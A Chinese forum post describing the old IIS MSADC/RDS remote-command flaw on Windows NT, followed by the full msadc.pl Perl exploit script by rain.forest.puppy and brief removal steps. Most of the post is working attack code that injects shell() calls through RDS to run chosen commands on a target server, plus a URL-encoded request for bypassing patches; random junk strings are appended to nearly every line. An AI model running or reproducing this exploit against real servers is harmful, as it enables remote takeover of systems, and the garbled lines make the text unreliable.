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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) xG2F!WeF  
ShOX<Fb&  
涉及程序: z;\dL  
Microsoft NT server ?`_jFj+<\S  
yCz|{=7"j  
描述: d4?d4;{  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Mz]: }qmFA  
5sO@OV\ y  
详细:  |J5 =J  
如果你没有时间读详细内容的话,就删除: ecJ6  
c:\Program Files\Common Files\System\Msadc\msadcs.dll xw^.bz|  
有关的安全问题就没有了。 2.e vx  
Y5q3T`x E  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 SGc8^%-`  
o|pT;1a"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >JwLk[=j  
关于利用ODBC远程漏洞的描述,请参看: ;lX(}2tXW  
a,t``'c;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sW#JjtK  
wN-i?Ek0;  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 1j-te-}"c  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp `lDut1J5n  
P(k(m< 0  
这里不再论述。 z&8un% Jt  
`6Qdfmk=  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: QnouBrhO  
d)o!5L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Ck =;1sGh  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! oEz%={f  
/t<@"BoV  
m#/_x  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;TiUpg</_3  
penlG36Q  
#!perl P,S G.EFK  
# `Pn[tuIO  
# MSADC/RDS 'usage' (aka exploit) script U:6W+p8  
# 5+Mdh`  
# by rain.forest.puppy d&8APe  
# tMx}*l|]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Q;Wj?8}  
# beta test and find errors! [Qt?W gPj  
pE.PX 8  
use Socket; use Getopt::Std; -5l6&Y   
getopts("e:vd:h:XR", \%args); lfsqC};#\  
Scm36sT{  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; qm*}U3K  
.9[45][FK  
if (!defined $args{h} && !defined $args{R}) { [k$*4 u >  
print qq~ W/ay.I  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z=5qX2fy1*  
-h <host> = host you want to scan (ip or domain) m(iR|Zx  
-d <seconds> = delay between calls, default 1 second Q:C$&-$  
-X = dump Index Server path table, if available :K82sCy%5  
-v = verbose xda; K~w  
-e = external dictionary file for step 5 M]v=-  
U).*q?.z  
Or a -R will resume a command session $*a'84-5G-  
<N,)G |&  
~; exit;} DHC+C4  
f;SC{2f  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; H1" q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} DciwQcG  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} _M[,! {C  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {%v-(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} q@5K6yE  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } :q<Z'EnW  
sd#|3  
if (!defined $args{R}){ $ret = &has_msadc; 5v)(8|.M  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} }ov&.,vQ  
Dq@2-Cv  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Z BUArIC  
. "cmd /c "; W,@ If}  
$in=<STDIN>; chomp $in; &5{xXWJK  
$command="cmd /c " . $in ; mV^Zy  
dBV7Te4L  
if (defined $args{R}) {&load; exit;} e,_-Je  
S\6[EQ65  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,bE$| x'  
&try_btcustmr; y;?ie]3G  
fEE /-}d  
print "\nStep 2: Trying to make our own DSN..."; Z+`{7G?4m  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +z9@:L  
hd V1nS$  
print "\nStep 3: Trying known DSNs..."; tGdf/aTjy  
&known_dsn; ;< )~Y-  
oY~ Dg  
print "\nStep 4: Trying known .mdbs..."; ~n')&u{  
&known_mdb; Z4$cyL'$P  
[ =x s4=  
if (defined $args{e}){ Rv,JU6>i  
print "\nStep 5: Trying dictionary of DSN names..."; t&Os;x?To?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } /y7M lU9  
9mc!bj^811  
print "Sorry Charley...maybe next time?\n"; R2L;bGI*J  
exit; ./j,Z$|  
|wEN`#.;b  
############################################################################## o'~5pS(wq  
;|p$\26S)%  
sub sendraw { # ripped and modded from whisker l+][V'zL  
sleep($delay); # it's a DoS on the server! At least on mine... H2xeP%;$  
my ($pstr)=@_; o`zr>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :!;'J/B@..  
die("Socket problems\n"); <WXzh5D2  
if(connect(S,pack "SnA4x8",2,80,$target)){ +(D$9{y   
select(S); $|=1; "1q>At  
print $pstr; my @in=<S>; $P7iRM]  
select(STDOUT); close(S); &0TVi  
return @in; :M{Y,~cP  
} else { die("Can't connect...\n"); }} qzw'zV  
iGDLZE+?  
############################################################################## cH-@V<  
]{ BE r*  
sub make_header { # make the HTTP request 0qjXQs}  
my $msadc=<<EOT {*ZY(6^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 7J28JK  
User-Agent: ACTIVEDATA n 26Y]7N  
Host: $ip \? j E#^  
Content-Length: $clen "!>DX1rsi  
Connection: Keep-Alive ]u-]'P  
I]Tsz'T!9  
ADCClientVersion:01.06 ``,k5!a66\  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 3lLMu B+  
BYW^/B Y)  
--!ADM!ROX!YOUR!WORLD! @''GPL@  
Content-Type: application/x-varg ]Fvm 7V  
Content-Length: $reqlen H_!4>G@  
<D&)OxEn\  
EOT =z?%;4'|  
; $msadc=~s/\n/\r\n/g; $I#q  
return $msadc;} 8;y&Pb~)  
rV({4cIe9R  
############################################################################## f\;65k_jq  
G1t\Q-|l0  
sub make_req { # make the RDS request p_ Fy >j  
my ($switch, $p1, $p2)=@_; ]Q "p\@\!  
my $req=""; my $t1, $t2, $query, $dsn; /MB{Pmk$R  
}~h'FHCC+  
if ($switch==1){ # this is the btcustmr.mdb query 6~#Ih)K  
$query="Select * from Customers where City=" . make_shell(); HIGq%m=-x  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;U: {/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2,vB'CAI  
7:]Pl=:X  
elsif ($switch==2){ # this is general make table query gx03xPeu  
$query="create table AZZ (B int, C varchar(10))"; Z=4{Vv*  
$dsn="$p1";} ,y9iKkg  
lT\a2.E  
elsif ($switch==3){ # this is general exploit table query /!}'t  
$query="select * from AZZ where C=" . make_shell(); >U1R.B7f  
$dsn="$p1";} H* ,,^  
Hv]7e|  
elsif ($switch==4){ # attempt to hork file info from index server "M|P+A  
$query="select path from scope()"; #U=X NU}k  
$dsn="Provider=MSIDXS;";} }7{t^>;D  
~Au,#7X)  
elsif ($switch==5){ # bad query ]fnnZ  
$query="select"; T9 <2A1  
$dsn="$p1";} %8aC1x  
nFX_+4V2  
$t1= make_unicode($query); 4RKW  
$t2= make_unicode($dsn); PUQES(&  
$req = "\x02\x00\x03\x00"; ^ yh'lh/  
$req.= "\x08\x00" . pack ("S1", length($t1)); N3t0-6$_  
$req.= "\x00\x00" . $t1 ; o }Tz"bN  
$req.= "\x08\x00" . pack ("S1", length($t2)); E6Rz@"^XV  
$req.= "\x00\x00" . $t2 ; sfr(/mp(  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; y5= `ap  
return $req;} Ae^X35  
p <eC<dtu  
############################################################################## @ZN^1?][  
9p$V)qdX  
sub make_shell { # this makes the shell() statement eMOD;{Q?X  
return "'|shell(\"$command\")|'";} k~%<Ir1V]  
2=-utN@Z  
############################################################################## 1%M&CX  
b1pQ`qt  
sub make_unicode { # quick little function to convert to unicode CV$],BM  
my ($in)=@_; my $out; at!Y3VywG  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 6#}93Dgv4  
return $out;} L_Q#(in  
d;Hn#2C  
############################################################################## syx\gz  
W$JebW<z(  
sub rdo_success { # checks for RDO return success (this is kludge) 9 7%0;a8  
my (@in) = @_; my $base=content_start(@in); JB</euyV  
if($in[$base]=~/multipart\/mixed/){ BY\:dx)mK  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} =k}SD96  
return 0;} %CZ-r"A  
}}QTHR  
############################################################################## G{aT2c  
TUL_TR  
sub make_dsn { # this makes a DSN for us .*=]gZ$IE  
my @drives=("c","d","e","f"); jk\ dG16  
print "\nMaking DSN: "; :H.   
foreach $drive (@drives) { ggt DN{t  
print "$drive: "; 6{x,*[v  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -71dN0hWh  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -B#yy]8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");  g]*  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; /Y[~-Y+!,  
return 0 if $2 eq "404"; # not found/doesn't exist PI A)d-Z  
if($2 eq "200") { 4vK8kkW1  
foreach $line (@results) { s/"&9F3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Zn:R PMk*  
} return 0;} y`e4;*1  
f0+2t.tj  
############################################################################## A]`El8_t"  
{P8[X@Lu  
sub verify_exists { e{({|V '  
my ($page)=@_; @/ J [t  
my @results=sendraw("GET $page HTTP/1.0\n\n"); `&M{cfp_  
return $results[0];} 2Zuq?1=  
O <9~Kgd8h  
############################################################################## r%wA&FQ8U  
^IZ)#1U  
sub try_btcustmr { ?[ly`>KpJ  
my @drives=("c","d","e","f"); D/(L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RVtQ20e";r  
-@^Zq}  
foreach $dir (@dirs) { ,!G{5FF8:  
print "$dir -> "; # fun status so you can see progress mtic>  
foreach $drive (@drives) { U5Erm6U:  
print "$drive: "; # ditto Ot&:mT!2  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; YF#H Sf7  
$reqlenlen=length( "$reqlen" ); 8$xPex~2  
$clen= 206 + $reqlenlen + $reqlen; l>lW]W  
]!1OH |Ad  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); +ww^ev%  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ||2Q~*:  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 5_K5?N  
F}Mhs17!|  
############################################################################## G DSfT{kK\  
,F+B Wot4  
sub odbc_error { N;F)jO xsl  
my (@in)=@_; my $base; \^+ILYO:$  
my $base = content_start(@in); `|1MlRM9  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ocwG7J\W  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N5|Rmfo1  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y;" n9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fnzy5+9"  
return $in[$base+4].$in[$base+5].$in[$base+6];} s*M@%_A?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9D@$i<D:  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . PDx)S7+w[  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} fLN!EDq  
VeiElU3  
############################################################################## &zL#hBE  
Zr$d20M2A;  
sub verbose { (%ew604X  
my ($in)=@_; TGT$ >/w >  
return if !$verbose; @mw "W{  
print STDOUT "\n$in\n";} ~CRSL1?  
K5 3MMH[q#  
############################################################################## S6nhvU:  
Eu@5L9A  
sub save { |YJCWFbs8  
my ($p1, $p2, $p3, $p4)=@_; Qx|H1_6  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `znB7VQ0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; q)u2Y]  
close OUT;} @b&84Gn2 r  
78#!Q.##  
############################################################################## ;'T{li2  
v|Jlf$>  
sub load { !Gs} tiMH  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4z7G2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Rz%e>)  
@p=<IN>; close(IN); @}FAwv^f  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); L/}iy}  
$target= inet_aton($ip) || die("inet_aton problems"); xIbMs4'iEx  
print "Resuming to $ip ..."; k@!r#`j3  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 4FeEGySow  
if($p[1]==1) { x  FJg  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F SMj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; KM?1/KZ/~  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9G?ldp8  
if (rdo_success(@results)){print "Success!\n";} V+MK'<#B  
else { print "failed\n"; verbose(odbc_error(@results));}} t *6loS0+  
elsif ($p[1]==3){ "vF MSY  
if(run_query("$p[3]")){ 3EFD%9n  
print "Success!\n";} else { print "failed\n"; }} m/&i9A  
elsif ($p[1]==4){ 0V,Nv9!S  
if(run_query($drvst . "$p[3]")){ )yee2(S  
print "Success!\n"; } else { print "failed\n"; }} -*VKlZ8-  
exit;} -H(vL=  
H(u+#PIIw  
############################################################################## d<p2/aA  
@B1{r|-<^  
sub create_table { SDJH;c0   
my ($in)=@_; Pd=,$UQp  
$reqlen=length( make_req(2,$in,"") ) - 28;  aA*9,  
$reqlenlen=length( "$reqlen" ); dFW=9ru+MQ  
$clen= 206 + $reqlenlen + $reqlen;  |qcD;  
my @results=sendraw(make_header() . make_req(2,$in,"")); %(m ])  
return 1 if rdo_success(@results); uq7T{7~<  
my $temp= odbc_error(@results); verbose($temp); Os),;W0w4  
return 1 if $temp=~/Table 'AZZ' already exists/; V}8$p8#<@  
return 0;} #m. AN  
JV"NZvjN7d  
############################################################################## IFNWS,:  
I8m:3fL"  
sub known_dsn { ^%bBW6eZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >mu)/kl  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  I?Y d   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 54p tP  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); sLh0&R7   
Iq' O  
foreach $dSn (@dsns) { ,4F,:w  
print "."; 9V!-ZG  
next if (!is_access("DSN=$dSn")); N{a kg90  
if(create_table("DSN=$dSn")){ HQVh+(  
print "$dSn successful\n"; 0A$SYF$O+[  
if(run_query("DSN=$dSn")){ oN2=DYC41  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i S p  
print "Something's borked. Use verbose next time\n";}}} print "\n";} e=f.y<  
8:;#,Urr  
############################################################################## D!> d0k,Y  
e$l 6gY  
sub is_access { V% axeqs  
my ($in)=@_; 4KpL>'Q=  
$reqlen=length( make_req(5,$in,"") ) - 28; cf8-]G?tK  
$reqlenlen=length( "$reqlen" ); h* .w"JO  
$clen= 206 + $reqlenlen + $reqlen; y%(X+E"n*  
my @results=sendraw(make_header() . make_req(5,$in,"")); Ub)I66  
my $temp= odbc_error(@results); =V$j6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); M-9gD[m  
return 0;} 6v z1*\:H~  
Q |hm1q  
############################################################################## -e>|kPfv!  
(i`(>I.(/  
sub run_query { +cg {[f,J;  
my ($in)=@_; aO1IVESr$  
$reqlen=length( make_req(3,$in,"") ) - 28; sOC&Q&eg  
$reqlenlen=length( "$reqlen" ); q^Tis>*u6  
$clen= 206 + $reqlenlen + $reqlen; -WR}m6yMr  
my @results=sendraw(make_header() . make_req(3,$in,"")); NrJzVGeS  
return 1 if rdo_success(@results); iyM^[/-R6  
my $temp= odbc_error(@results); verbose($temp); /A(NuB<Pq  
return 0;} UVX"fZ)  
>]$aoA#  
############################################################################## (Pi-uL<[a  
E20&hc5 8  
sub known_mdb { ia{kab|_5  
my @drives=("c","d","e","f","g"); T!^Mvat  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }=GM ?,7b  
my $dir, $drive, $mdb; &TT":FPR  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V/y=6wUiSl  
9{eBgdC  
# this is sparse, because I don't know of many [8]m8=n  
my @sysmdbs=( "\\catroot\\icatalog.mdb", X , ZeD  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "EPD2,%S  
"\\system32\\certmdb.mdb", HhSjR%6HY;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% = HE m)  
%?tq;~|]Q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Z;<ep@gy~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U</+.$b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &hN,xpC  
"\\cfusion\\cfapps\\security\\realm_.mdb", (([I]q  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", P^IY: -s  
"\\cfusion\\database\\cfexamples.mdb",  (K #A  
"\\cfusion\\database\\cfsnippets.mdb", f!g<3X{=  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", rihlae5Kz  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", tV`&- H  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Pz473d  
"\\cfusion\\database\\smpolicy.mdb", {'~sS  
"\\cfusion\\database\cypress.mdb", ,IjdO(?TC  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", a-PGW2G  
"\\website\\cgi-win\\dbsample.mdb", rx:lKoOnB  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -9G]x{>  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" &5q{viI  
); #these are just p.Y$A if.  
foreach $drive (@drives) { YvTA+yL  
foreach $dir (@dirs){ -CU,z|g+  
foreach $mdb (@sysmdbs) { Z{}+)Q*Q  
print "."; OV|Z=EwJ  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ (!n-Age  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; % 0v*n8  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 37>MJ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5Rs?CVVb  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (3fPt;U  
L?f qcW{  
foreach $drive (@drives) { */U$sZQ)  
foreach $mdb (@mdbs) { 6y@<?08Q  
print "."; iEhDaC[e(b  
if(create_table($drv . $drive . $dir . $mdb)){ +"=~o5k3Q  
print "\n" . $drive . $dir . $mdb . " successful\n"; cdsQ3o  
if(run_query($drv . $drive . $dir . $mdb)){ 9p<:LZd~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; LXxl?D  
} else { print "Something's borked. Use verbose next time\n"; }}}} lIl9ypikg  
} 7.|S>+Q  
`Kp}s<  
############################################################################## s5.k|!K  
Wf1-"Q  
sub hork_idx { -s~p}CQ.  
print "\nAttempting to dump Index Server tables...\n"; '%Dg{ zL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ZOHRUm  
$reqlen=length( make_req(4,"","") ) - 28; yS"0/Rm}  
$reqlenlen=length( "$reqlen" ); '%O\E{h  
$clen= 206 + $reqlenlen + $reqlen; & =sayP  
my @results=sendraw2(make_header() . make_req(4,"","")); !:J< pWN"  
if (rdo_success(@results)){ `q1}6U/k  
my $max=@results; my $c; my %d; ?M<|r11}  
for($c=19; $c<$max; $c++){ uN&M\(  
$results[$c]=~s/\x00//g; =+Tsknq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~[;{   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; &|] Fg5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H2]BMkum  
$d{"$1$2"}="";} MZi8Fo'  
foreach $c (keys %d){ print "$c\n"; } bVOO)  
} else {print "Index server doesn't seem to be installed.\n"; }} *<3iEeO/R  
EEg O  
############################################################################## 9oD#t~+F4  
1 ' %-y  
sub dsn_dict { _ ^3@PM>  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); KqY>4tb  
while(<IN>){ |Kn^w4mN  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^ N_`^m  
next if (!is_access("DSN=$dSn")); ZArf;&8  
if(create_table("DSN=$dSn")){ n(# c`t*  
print "$dSn successful\n"; @f'AWeJ2  
if(run_query("DSN=$dSn")){ ;@O(z*14@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %w%zv2d  
print "Something's borked. Use verbose next time\n";}}} ,,2_/u\"/i  
print "\n"; close(IN);} L`bo#,eg6  
~l4Q~'  
############################################################################## Cj=J;^vf  
b6$4Ul-.  
sub sendraw2 { # ripped and modded from whisker @%7/2k  
sleep($delay); # it's a DoS on the server! At least on mine... X)FQ%(H<  
my ($pstr)=@_; g&8.A(  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W.sD2f  
die("Socket problems\n"); Jz2 q\42q  
if(connect(S,pack "SnA4x8",2,80,$target)){ C890+(D~  
print "Connected. Getting data"; E<P*QZ-C3  
open(OUT,">raw.out"); my @in; 4t(QvIydA  
select(S); $|=1; print $pstr; *xho  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 0MhxFoFO  
close(OUT); select(STDOUT); close(S); return @in; CTh1;U20  
} else { die("Can't connect...\n"); }} JG1LS$p^  
_4A&%>   
############################################################################## ]n/jJ_[  
m';|}z'  
sub content_start { # this will take in the server headers JCBnFrP  
my (@in)=@_; my $c; ,9+nfj  
for ($c=1;$c<500;$c++) { *+# k{D,  
if($in[$c] =~/^\x0d\x0a/){ T)*l' g'  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %hrsE5k^,  
else { return $c+1; }}} RH1U_gp4 ]  
return -1;} # it should never get here actually KN|'|2/|  
9yp^zL  
############################################################################## EzwF`3RjK  
aw;{<?*  
sub funky { ZW`HDrP`  
my (@in)=@_; my $error=odbc_error(@in); LIc*tsl  
if($error=~/ADO could not find the specified provider/){ F\l!A'Q+t  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; +2f> M4q  
exit;} l %]<-  
if($error=~/A Handler is required/){ ;%lJD"yF  
print "\nServer has custom handler filters (they most likely are patched)\n"; HX z iDnj  
exit;} r{c5dQ  
if($error=~/specified Handler has denied Access/){ il<gjlyR]L  
print "\nServer has custom handler filters (they most likely are patched)\n"; )E_!rR  
exit;}} sVNo\  
([ E#zrz%  
############################################################################## 4_Tb)?L+:  
!G@V<'F  
sub has_msadc { an #jZ[  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); t/_\U =i$  
my $base=content_start(@results); :^C#-O  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); DB!uv[c  
return 0;} t4*aVHT  
/<G yg7o0  
######################## WIhIEU7/  
_q2`m  
3BuD/bs  
解决方案: =2Pz$q*ub  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll MX%|hIOpr  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 lU >)n  
) >-D={  
拿出来充数 哈哈
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